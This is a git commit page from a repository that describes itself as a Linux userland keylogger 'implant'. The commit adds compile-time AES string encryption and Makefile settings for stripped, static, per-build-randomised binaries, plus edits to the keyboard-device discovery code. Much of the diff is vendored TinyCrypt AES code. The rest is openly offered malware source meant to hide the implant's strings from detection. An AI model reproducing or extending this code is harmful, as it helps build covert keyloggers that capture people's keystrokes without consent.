mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 03fc59224c63d5d74bb5d04baf9eff0a13073163
parent 69db6c97c9d126f1d8654e74c077712c0b847ea1
Author: djnn <[email protected]>
Date: Sun, 16 Mar 2025 19:50:21 +0900

wip(implant): compile-time encrypted strings

Diffstat:
Mimplant/.gitignore | 2++
Mimplant/Makefile | 15++++++++++++---
Aimplant/includes/aes.h | 117+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Mimplant/includes/implant.h | 2++
Aimplant/sources/aes.c | 349+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Mimplant/sources/kbd.c | 10+++++++---
Mimplant/sources/utils.c | 2+-

7 files changed, 490 insertions(+), 7 deletions(-)

diff --git a/implant/.gitignore b/implant/.gitignore
@@ -1,4 +1,6 @@
 implant
+.cache/
+*.json
 objects/
 *.o
 *gcno
diff --git a/implant/Makefile b/implant/Makefile
@@ -3,6 +3,10 @@ ifeq ($(MAKECMDGOALS), debug)
 	CLIENT_ID = DEBUG
 else
 	CLIENT_ID = $(shell echo $$RANDOM | md5sum | head -c 10)
+
+	AES_ALGO  := aes-128-cbc
+	AES_KEY   := $(shell echo $$RANDOM | md5sum | head -c 24 | xxd -p -u)
+	AES_IV    := $(shell echo $$RANDOM | md5sum | head -c 24 | xxd -p -u)
 endif
 
 NAME		 	= mazepa_$(CLIENT_ID)
@@ -15,11 +19,12 @@ LINK_FLAG    	=
 CFLAGS 			= -Wno-unused-command-line-argument -fPIC
 ifeq ($(MAKECMDGOALS), debug)
 	CFLAGS 			+= -g3 -DDEBUG -Wno-format-security -Wno-visibility -DCLIENTID=DEBUG -Wno-unsafe-buffer-usage
+	CFLAGS 			+= -Wno-unused-macros
 else
-	CFLAGS 		 	+= -Wall -Wextra -Os -Weverything -Wpedantic -Wl,-s
+	CFLAGS 		 	+= -Wall -Wextra -Os -Weverything -Wpedantic -Wl,-s -static -Wno-visibility
 	CFLAGS 			+= -flto -m64 -fvisibility=hidden -fvisibility-inlines-hidden -s -Wno-unsafe-buffer-usage
 	CFLAGS 			+= -Wno-padded -Wno-gnu-zero-variadic-macro-arguments -Wno-declaration-after-statement
-	CFLAGS 			+= -static -Wno-visibility -DCLIENTID=$(CLIENT_ID)
+	CFLAGS 			+= -DCLIENTID=$(CLIENT_ID) -DAES_KEY=$(AES_KEY) -DAES_IV=$(AES_IV)
 endif
 
 
@@ -31,7 +36,7 @@ OBJECT_DIR 		= ./objects
 vpath %$(PATTERN) $(SRC_DIR)
 
 MAIN		 	= main.c
-SRC 		 	= opt.c utils.c daemon.c kbd.c
+SRC 		 	= opt.c utils.c daemon.c kbd.c aes.c
 
 
 COMBINED		= $(SRC) $(MAIN)
@@ -76,6 +81,10 @@ fclean: clean  ## removes all compilation artifacts
 	@$(RM) $(NAME) mazepa_*
 	@echo "[*** CLEAN ***]"
 
+.PHONY: gen-compile-commands
+gen-compile-commands: clean ## generate compile_commands.json
+	@bear -- make debug
+
 .PHONY: re  ## cleans everything and rebuild PROD binary
 re: fclean all
 
diff --git a/implant/includes/aes.h b/implant/includes/aes.h
@@ -0,0 +1,117 @@
+/* aes.h - TinyCrypt interface to an AES-128 implementation
+
+   https://github.com/intel/tinycrypt/blob/master/lib/include/tinycrypt/aes.h
+*/
+
+/*
+ *  Copyright (C) 2017 by Intel Corporation, All Rights Reserved.
+ *
+ *  Redistribution and use in source and binary forms, with or without
+ *  modification, are permitted provided that the following conditions are met:
+ *
+ *    - Redistributions of source code must retain the above copyright notice,
+ *     this list of conditions and the following disclaimer.
+ *
+ *    - Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ *    - Neither the name of Intel Corporation nor the names of its contributors
+ *    may be used to endorse or promote products derived from this software
+ *    without specific prior written permission.
+ *
+ *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ *  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ *  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ *  ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+ *  LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ *  CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ *  SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ *  INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+ *  CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ *  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ *  POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef __TC_AES_H__
+#define __TC_AES_H__
+
+#include <stdint.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#define Nb (4)  /* number of columns (32-bit words) comprising the state */
+#define Nk (4)  /* number of 32-bit words comprising the key */
+#define Nr (10) /* number of rounds */
+#define TC_AES_BLOCK_SIZE (Nb * Nk)
+#define TC_AES_KEY_SIZE (Nb * Nk)
+
+typedef struct tc_aes_key_sched_struct {
+    unsigned int words[Nb * (Nr + 1)];
+} *TCAesKeySched_t;
+
+/**
+ *  @brief Set AES-128 encryption key
+ *  Uses key k to initialize s
+ *  @return  returns TC_CRYPTO_SUCCESS (1)
+ *           returns TC_CRYPTO_FAIL (0) if: s == NULL or k == NULL
+ *  @note       This implementation skips the additional steps required for keys
+ *              larger than 128 bits, and must not be used for AES-192 or
+ *              AES-256 key schedule -- see FIPS 197 for details
+ *  @param      s IN/OUT -- initialized struct tc_aes_key_sched_struct
+ *  @param      k IN -- points to the AES key
+ */
+int tc_aes128_set_encrypt_key(TCAesKeySched_t s, const uint8_t *k);
+
+/**
+ *  @brief AES-128 Encryption procedure
+ *  Encrypts contents of in buffer into out buffer under key;
+ *              schedule s
+ *  @note Assumes s was initialized by aes_set_encrypt_key;
+ *              out and in point to 16 byte buffers
+ *  @return  returns TC_CRYPTO_SUCCESS (1)
+ *           returns TC_CRYPTO_FAIL (0) if: out == NULL or in == NULL or s == NULL
+ *  @param out IN/OUT -- buffer to receive ciphertext block
+ *  @param in IN -- a plaintext block to encrypt
+ *  @param s IN -- initialized AES key schedule
+ */
+int tc_aes_encrypt(uint8_t *out, const uint8_t *in,
+                   const TCAesKeySched_t s);
+
+/**
+ *  @brief Set the AES-128 decryption key
+ *  Uses key k to initialize s
+ *  @return returns TC_CRYPTO_SUCCESS (1)
+ *          returns TC_CRYPTO_FAIL (0) if: s == NULL or k == NULL
+ *  @note       This is the implementation of the straightforward inverse cipher
+ *              using the cipher documented in FIPS-197 figure 12, not the
+ *              equivalent inverse cipher presented in Figure 15
+ *  @warning    This routine skips the additional steps required for keys larger
+ *              than 128, and must not be used for AES-192 or AES-256 key
+ *              schedule -- see FIPS 197 for details
+ *  @param s  IN/OUT -- initialized struct tc_aes_key_sched_struct
+ *  @param k  IN -- points to the AES key
+ */
+int tc_aes128_set_decrypt_key(TCAesKeySched_t s, const uint8_t *k);
+
+/**
+ *  @brief AES-128 Encryption procedure
+ *  Decrypts in buffer into out buffer under key schedule s
+ *  @return returns TC_CRYPTO_SUCCESS (1)
+ *          returns TC_CRYPTO_FAIL (0) if: out is NULL or in is NULL or s is NULL
+ *  @note   Assumes s was initialized by aes_set_encrypt_key
+ *          out and in point to 16 byte buffers
+ *  @param out IN/OUT -- buffer to receive ciphertext block
+ *  @param in IN -- a plaintext block to encrypt
+ *  @param s IN -- initialized AES key schedule
+ */
+int tc_aes_decrypt(uint8_t *out, const uint8_t *in,
+                   const TCAesKeySched_t s);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif /* __TC_AES_H__ */
diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -7,6 +7,8 @@
 #include <sys/types.h>
 #include <unistd.h>
 
+#define _GNU_SOURCE
+
 #ifdef DEBUG
 #include <errno.h>
 #endif
diff --git a/implant/sources/aes.c b/implant/sources/aes.c
@@ -0,0 +1,349 @@
+/* aes_encrypt.c - TinyCrypt implementation of AES encryption procedure */
+
+/*
+ *  Copyright (C) 2017 by Intel Corporation, All Rights Reserved.
+ *
+ *  Redistribution and use in source and binary forms, with or without
+ *  modification, are permitted provided that the following conditions are met:
+ *
+ *    - Redistributions of source code must retain the above copyright notice,
+ *     this list of conditions and the following disclaimer.
+ *
+ *    - Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ *    - Neither the name of Intel Corporation nor the names of its contributors
+ *    may be used to endorse or promote products derived from this software
+ *    without specific prior written permission.
+ *
+ *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ *  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ *  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ *  ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+ *  LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ *  CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ *  SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ *  INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+ *  CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ *  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ *  POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "aes.h"
+#include <string.h>
+#include "implant.h"
+
+static const uint8_t sbox[256] = {
+    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b,
+    0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0,
+    0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26,
+    0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
+    0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2,
+    0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0,
+    0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed,
+    0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
+    0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f,
+    0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5,
+    0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec,
+    0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
+    0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14,
+    0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c,
+    0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d,
+    0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
+    0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f,
+    0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e,
+    0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11,
+    0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
+    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f,
+    0xb0, 0x54, 0xbb, 0x16};
+
+static const uint8_t inv_sbox[256] = {
+    0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e,
+    0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87,
+    0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32,
+    0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
+    0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49,
+    0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16,
+    0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50,
+    0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
+    0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05,
+    0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02,
+    0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41,
+    0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
+    0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8,
+    0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89,
+    0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b,
+    0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
+    0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59,
+    0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d,
+    0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d,
+    0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
+    0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63,
+    0x55, 0x21, 0x0c, 0x7d};
+
+#define MASK_TWENTY_SEVEN 0x1b
+
+static unsigned int _copy(uint8_t *to, unsigned int to_len,
+                          const uint8_t *from, unsigned int from_len) {
+    if (from_len <= to_len) {
+        (void)memcpy(to, from, from_len);
+        return from_len;
+    } else {
+        return ERROR;
+    }
+}
+
+static void _set(void *to, uint8_t val, unsigned int len) {
+    (void)memset(to, val, len);
+}
+
+/*
+ * Doubles the value of a byte for values up to 127.
+ */
+static uint8_t _double_byte(uint8_t a) {
+    return ((a << 1) ^ ((a >> 7) * MASK_TWENTY_SEVEN));
+}
+
+static int _compare(const uint8_t *a, const uint8_t *b, size_t size) {
+    const uint8_t *tempa = a;
+    const uint8_t *tempb = b;
+    uint8_t result = 0;
+
+    for (unsigned int i = 0; i < size; i++) {
+        result |= tempa[i] ^ tempb[i];
+    }
+    return result;
+}
+
+static inline unsigned int rotword(unsigned int a) {
+    return (((a) >> 24) | ((a) << 8));
+}
+
+#define subbyte(a, o) (sbox[((a) >> (o)) & 0xff] << (o))
+#define subword(a) (subbyte(a, 24) | subbyte(a, 16) | subbyte(a, 8) | subbyte(a, 0))
+
+int tc_aes128_set_encrypt_key(TCAesKeySched_t s, const uint8_t *k) {
+    const unsigned int rconst[11] = {
+        0x00000000, 0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000,
+        0x20000000, 0x40000000, 0x80000000, 0x1b000000, 0x36000000};
+    unsigned int i;
+    unsigned int t;
+
+    if (s == (TCAesKeySched_t)0) {
+        return ERROR;
+    } else if (k == (const uint8_t *)0) {
+        return ERROR;
+    }
+
+    for (i = 0; i < Nk; ++i) {
+        s->words[i] = (k[Nb * i] << 24) | (k[Nb * i + 1] << 16) |
+                      (k[Nb * i + 2] << 8) | (k[Nb * i + 3]);
+    }
+
+    for (; i < (Nb * (Nr + 1)); ++i) {
+        t = s->words[i - 1];
+        if ((i % Nk) == 0) {
+            t = subword(rotword(t)) ^ rconst[i / Nk];
+        }
+        s->words[i] = s->words[i - Nk] ^ t;
+    }
+
+    return SUCCESSFUL;
+}
+
+static inline void add_round_key(uint8_t *s, const unsigned int *k) {
+    s[0] ^= (uint8_t)(k[0] >> 24);
+    s[1] ^= (uint8_t)(k[0] >> 16);
+    s[2] ^= (uint8_t)(k[0] >> 8);
+    s[3] ^= (uint8_t)(k[0]);
+    s[4] ^= (uint8_t)(k[1] >> 24);
+    s[5] ^= (uint8_t)(k[1] >> 16);
+    s[6] ^= (uint8_t)(k[1] >> 8);
+    s[7] ^= (uint8_t)(k[1]);
+    s[8] ^= (uint8_t)(k[2] >> 24);
+    s[9] ^= (uint8_t)(k[2] >> 16);
+    s[10] ^= (uint8_t)(k[2] >> 8);
+    s[11] ^= (uint8_t)(k[2]);
+    s[12] ^= (uint8_t)(k[3] >> 24);
+    s[13] ^= (uint8_t)(k[3] >> 16);
+    s[14] ^= (uint8_t)(k[3] >> 8);
+    s[15] ^= (uint8_t)(k[3]);
+}
+
+static inline void sub_bytes(uint8_t *s) {
+    unsigned int i;
+
+    for (i = 0; i < (Nb * Nk); ++i) {
+        s[i] = sbox[s[i]];
+    }
+}
+
+#define triple(a) (_double_byte(a) ^ (a))
+
+static inline void mult_row_column(uint8_t *out, const uint8_t *in) {
+    out[0] = _double_byte(in[0]) ^ triple(in[1]) ^ in[2] ^ in[3];
+    out[1] = in[0] ^ _double_byte(in[1]) ^ triple(in[2]) ^ in[3];
+    out[2] = in[0] ^ in[1] ^ _double_byte(in[2]) ^ triple(in[3]);
+    out[3] = triple(in[0]) ^ in[1] ^ in[2] ^ _double_byte(in[3]);
+}
+
+static inline void mix_columns(uint8_t *s) {
+    uint8_t t[Nb * Nk];
+
+    mult_row_column(t, s);
+    mult_row_column(&t[Nb], s + Nb);
+    mult_row_column(&t[2 * Nb], s + (2 * Nb));
+    mult_row_column(&t[3 * Nb], s + (3 * Nb));
+    (void)_copy(s, sizeof(t), t, sizeof(t));
+}
+
+/*
+ * This shift_rows also implements the matrix flip required for mix_columns, but
+ * performs it here to reduce the number of memory operations.
+ */
+static inline void shift_rows(uint8_t *s) {
+    uint8_t t[Nb * Nk];
+
+    t[0] = s[0];
+    t[1] = s[5];
+    t[2] = s[10];
+    t[3] = s[15];
+    t[4] = s[4];
+    t[5] = s[9];
+    t[6] = s[14];
+    t[7] = s[3];
+    t[8] = s[8];
+    t[9] = s[13];
+    t[10] = s[2];
+    t[11] = s[7];
+    t[12] = s[12];
+    t[13] = s[1];
+    t[14] = s[6];
+    t[15] = s[11];
+    (void)_copy(s, sizeof(t), t, sizeof(t));
+}
+
+int tc_aes_encrypt(uint8_t *out, const uint8_t *in, const TCAesKeySched_t s) {
+    uint8_t state[Nk * Nb];
+    unsigned int i;
+
+    if (out == (uint8_t *)0) {
+        return ERROR;
+    } else if (in == (const uint8_t *)0) {
+        return ERROR;
+    } else if (s == (TCAesKeySched_t)0) {
+        return ERROR;
+    }
+
+    (void)_copy(state, sizeof(state), in, sizeof(state));
+    add_round_key(state, s->words);
+
+    for (i = 0; i < (Nr - 1); ++i) {
+        sub_bytes(state);
+        shift_rows(state);
+        mix_columns(state);
+        add_round_key(state, s->words + Nb * (i + 1));
+    }
+
+    sub_bytes(state);
+    shift_rows(state);
+    add_round_key(state, s->words + Nb * (i + 1));
+
+    (void)_copy(out, sizeof(state), state, sizeof(state));
+
+    /* zeroing out the state buffer */
+    _set(state, 0x00, sizeof(state));
+
+    return SUCCESSFUL;
+}
+
+int tc_aes128_set_decrypt_key(TCAesKeySched_t s, const uint8_t *k) {
+    return tc_aes128_set_encrypt_key(s, k);
+}
+
+#define mult8(a) (_double_byte(_double_byte(_double_byte(a))))
+#define mult9(a) (mult8(a) ^ (a))
+#define multb(a) (mult8(a) ^ _double_byte(a) ^ (a))
+#define multd(a) (mult8(a) ^ _double_byte(_double_byte(a)) ^ (a))
+#define multe(a) (mult8(a) ^ _double_byte(_double_byte(a)) ^ _double_byte(a))
+
+static inline void inv_mix_columns(uint8_t *s) {
+    uint8_t t[Nb * Nk];
+
+    mult_row_column(t, s);
+    mult_row_column(&t[Nb], s + Nb);
+    mult_row_column(&t[2 * Nb], s + (2 * Nb));
+    mult_row_column(&t[3 * Nb], s + (3 * Nb));
+    (void)_copy(s, sizeof(t), t, sizeof(t));
+}
+
+static inline void inv_sub_bytes(uint8_t *s) {
+    unsigned int i;
+
+    for (i = 0; i < (Nb * Nk); ++i) {
+        s[i] = inv_sbox[s[i]];
+    }
+}
+
+/*
+ * This inv_shift_rows also implements the matrix flip required for
+ * inv_mix_columns, but performs it here to reduce the number of memory
+ * operations.
+ */
+static inline void inv_shift_rows(uint8_t *s) {
+    uint8_t t[Nb * Nk];
+
+    t[0] = s[0];
+    t[1] = s[13];
+    t[2] = s[10];
+    t[3] = s[7];
+    t[4] = s[4];
+    t[5] = s[1];
+    t[6] = s[14];
+    t[7] = s[11];
+    t[8] = s[8];
+    t[9] = s[5];
+    t[10] = s[2];
+    t[11] = s[15];
+    t[12] = s[12];
+    t[13] = s[9];
+    t[14] = s[6];
+    t[15] = s[3];
+    (void)_copy(s, sizeof(t), t, sizeof(t));
+}
+
+int tc_aes_decrypt(uint8_t *out, const uint8_t *in, const TCAesKeySched_t s) {
+    uint8_t state[Nk * Nb];
+    unsigned int i;
+
+    if (out == (uint8_t *)0) {
+        return ERROR;
+    } else if (in == (const uint8_t *)0) {
+        return ERROR;
+    } else if (s == (TCAesKeySched_t)0) {
+        return ERROR;
+    }
+
+    (void)_copy(state, sizeof(state), in, sizeof(state));
+
+    add_round_key(state, s->words + Nb * Nr);
+
+    for (i = Nr - 1; i > 0; --i) {
+        inv_shift_rows(state);
+        inv_sub_bytes(state);
+        add_round_key(state, s->words + Nb * i);
+        inv_mix_columns(state);
+    }
+
+    inv_shift_rows(state);
+    inv_sub_bytes(state);
+    add_round_key(state, s->words);
+
+    (void)_copy(out, sizeof(state), state, sizeof(state));
+
+    /*zeroing out the state buffer */
+    _set(state, 0x00, sizeof(state));
+
+    return SUCCESSFUL;
+}
diff --git a/implant/sources/kbd.c b/implant/sources/kbd.c
@@ -15,11 +15,13 @@
 
 #include <dirent.h>
 #include <fcntl.h>
+#include <limits.h>
 #include <stddef.h>
 #include <stdint.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
+#include <sys/dir.h>
 #include <sys/queue.h>
 #include <sys/stat.h>
 #include <sys/types.h>
@@ -41,12 +43,14 @@ is_kbd(const struct dirent *f) {
 }
 
 uint8_t fetch_available_keyboards(implant_t *instance) {
-    /* FIXME(djnn): decrypt strings at runtime */
 
     char rpath[2048] = {0};
     struct dirent **char_devices = NULL;
     int possible_paths = 0;
 
+    /* FIXME(djnn): base64 then decrypt string at runtime */
+    const char *dev_input_by_path = "/dev/input/by-path/";
+
     if (!instance) {
 
 #ifdef DEBUG
@@ -55,8 +59,8 @@ uint8_t fetch_available_keyboards(implant_t *instance) {
         return ERROR;
     }
 
-    possible_paths = scandir("/dev/input/by-path/", &char_devices, &is_kbd, &alphasort);
-    if (-1 == possible_paths || 0 > chdir("/dev/input/by-path/")) {
+    possible_paths = scandir(dev_input_by_path, &char_devices, &is_kbd, &alphasort);
+    if (-1 == possible_paths || 0 > chdir(dev_input_by_path)) {
 
 #ifdef DEBUG
         DEBUG_LOG("could not find possible keyboard paths\n");
diff --git a/implant/sources/utils.c b/implant/sources/utils.c
@@ -88,7 +88,7 @@ int8_t file_get_contents(int8_t const *path, int8_t **buffer) {
         DEBUG_LOG("[%s] Should have read %ld bytes but read %ld (filepath: %s)\n",
                   CLIENT_ID,
                   st.st_size,
-                  bytes,
+                  bytes_read,
                   path);
 #endif
     }